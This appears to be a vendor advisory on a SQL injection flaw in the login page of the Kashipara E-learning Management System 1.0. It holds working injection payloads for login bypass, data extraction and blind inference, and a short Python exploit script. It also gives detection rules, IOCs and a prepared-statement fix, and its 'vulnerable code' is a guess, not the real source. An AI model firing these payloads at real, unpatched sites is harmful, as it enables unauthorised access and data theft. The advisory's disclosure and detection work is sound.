CVE-2024-50833

Executive Summary

CVE-2024-50833 is a critical SQL Injection vulnerability discovered in the Kashipara E-learning Management System Project 1.0. The flaw resides in the /login.php script, where both the username and password parameters are directly concatenated into SQL queries without proper sanitization or parameterization. An unauthenticated attacker can exploit this to bypass authentication, extract sensitive data (including user credentials and course materials), or potentially achieve remote code execution via stacked queries if the database backend supports them. The vulnerability has a public proof-of-concept (PoC) but no official patch from the vendor, leaving all installations of version 1.0 exposed. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this system should treat it as a supply chain risk due to the lack of vendor support and patching.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via resource exhaustion.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – unauthenticated remote exploitation with high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the authentication logic of /login.php. The application likely constructs SQL queries by directly concatenating user-supplied input without using prepared statements or parameterized queries. For example, the vulnerable code might resemble:

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL metacharacters (e.g., single quote ') into either parameter to break out of the string context and manipulate the query. For instance, submitting admin' OR '1'='1 as the username and any password will result in:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'

This always returns a valid user, bypassing authentication. More advanced payloads can extract data using UNION-based SQL injection or time-based blind techniques.

The database backend is likely MySQL (common for PHP applications). If the MySQL user has FILE privileges, an attacker could use INTO OUTFILE to write a web shell, leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // login success
} else {
    // login failed
}
?>

Patched Code (using prepared statements):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
} else {
    // login failed
}
?>

The patched version uses parameterized queries, which separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Download Kashipara E-learning Management System Project 1.0 from the vendor's site (or use a local copy).
2. Set up a LAMP/LEMP stack (Linux, Apache/Nginx, MySQL, PHP).
3. Deploy the application and ensure /login.php is accessible.

Exploitation Steps:

1. Authentication Bypass:

   • Submit the following POST request to /login.php:

     username=admin' OR '1'='1' -- -
     password=anything
     

   • This logs in as the first user (usually admin).

2. Data Extraction (UNION-based):

   • Determine the number of columns:

     username=admin' ORDER BY 1-- -
     

   • Find vulnerable columns:

     username=admin' UNION SELECT 1,2,3,4-- -
     

   • Extract database version:

     username=admin' UNION SELECT 1,@@version,3,4-- -
     

3. Blind SQL Injection (Time-based):

   • Use SLEEP() to infer data:

     username=admin' AND IF(SUBSTRING((SELECT database()),1,1)='e',SLEEP(5),0)-- -
     

Exploit Code (Python):

import requests

url = "http://target.com/login.php"
payload = "admin' OR '1'='1' -- -"
data = {"username": payload, "password": "anything"}
response = requests.post(url, data=data)
if "Login successful" in response.text:
    print("[+] Authentication bypassed")
else:
    print("[-] Exploit failed")

Blue Team

Detection:

• Monitor web server logs for SQL injection patterns in POST parameters (e.g., ' OR, UNION, SLEEP).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.
• Use database activity monitoring to detect anomalous queries.

Hunting:

• Search for requests to /login.php with unusual parameter lengths or special characters.
• Correlate failed login attempts with subsequent successful logins from the same IP.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /login.php containing SQL metacharacters (', ", --, #, /*).
  • HTTP responses with database error messages (e.g., "You have an error in your SQL syntax").
  • Unusually long username or password parameters (over 50 characters).

• Host:

  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified database entries (e.g., new admin users).
  • Suspicious MySQL queries in logs (e.g., UNION SELECT, INTO OUTFILE).

• File:

  • Web shells with names like shell.php or cmd.php in the web directory.
  • Modified .htaccess files allowing file uploads.

Detection Engineering

YARA Rule

rule CVE_2024_50833_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting Kashipara E-learning login.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-50833"
    strings:
        $sqli1 = /username=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
        $sqli2 = /password=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
        $sqli3 = /login\.php.*(?:%27|%22|%23|--)/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt on Kashipara E-learning Login
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in POST requests to /login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login.php'
        cs-uri-query|contains:
            - "' OR"
            - "' AND"
            - "UNION SELECT"
            - "SLEEP("
            - "BENCHMARK("
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-50833 SQL Injection Attempt on Kashipara E-learning Login"; flow:to_server,established; content:"POST"; http_method; content:"/login.php"; http_uri; pcre:"/(username|password)=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If the application is internet-facing, take it offline or restrict access via firewall rules.
2. Apply virtual patching: Use a WAF to block SQL injection attempts (e.g., ModSecurity with OWASP CRS).
3. Manual code fix: Replace all dynamic SQL queries with prepared statements (parameterized queries) in /login.php and any other vulnerable files.

Long-term Remediation:

• Upgrade: Since no official patch exists, consider migrating to a supported e-learning platform.
• Code audit: Perform a full security review of the application to identify other vulnerabilities.
• Database hardening: Ensure the database user has minimal privileges (no FILE, no DROP).
• Input validation: Implement strict input validation and output encoding.

Compensating Controls:

• Enable detailed logging and monitoring for all login attempts.
• Implement multi-factor authentication (MFA) if possible.
• Use a reverse proxy with SSL/TLS termination and WAF capabilities.

Valters IT
Securing Digital Frontiers